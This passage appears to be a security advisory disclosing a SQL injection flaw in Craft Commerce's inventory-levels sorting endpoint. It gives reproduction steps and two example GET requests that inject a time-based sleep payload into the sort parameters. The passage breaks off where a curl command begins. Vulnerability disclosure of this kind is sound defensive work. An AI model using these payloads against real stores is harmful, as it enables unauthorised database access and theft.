Craft Commerce is vulnerable to SQL Injection in Commerce Inventory Table Sorting
Date: 2026-03
Affected: composer/craftcms/commerce
Attack vector: sql-injection
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-29174
CWE: CWE-89

## Summary Craft Commerce is vulnerable to **SQL Injection** in the inventory levels table data endpoint. The `sort[0][direction]` and `sort[0][sortField]` parameters are concatenated directly into an `addOrderBy()` clause without any validation or sanitization. An authenticated attacker with access to the Commerce Inventory section can inject arbitrary SQL queries, potentially leading to a full database compromise. --- ## PoC ### Required Permissions - General - Access the control panel - Access Craft Commerce - Craft Commerce - Manage inventory stock levels ### Steps to reproduce 1. Log in to the control panel 2. Navigate to **Commerce** > **Inventory** 3. Click on any sortable column header (e.g., "SKU") to trigger a sort request 4. Intercept the request and modify `sort[0][direction]` or `sort[0][sortField]` parameters and append `,sleep(2)` payload to it's current value as follows: ```bash # sort[0][sortField]=sku,sleep(2) GET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku,sleep(2)&sort[0][direction]=asc&inventoryLocationId=1&containerId=%23inventory-levels # sort[0][direction]=asc,sleep(2) GET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku&sort[0][direction]=asc,sleep(2)&inventoryLocationId=1&containerId=%23inventory-levels ``` 6. Observe the delay in the response, confirming the injection Alternatively, you can use the following `curl` (bash syntax) command (re


Mitigations:

Architectural layers (MAESTRO):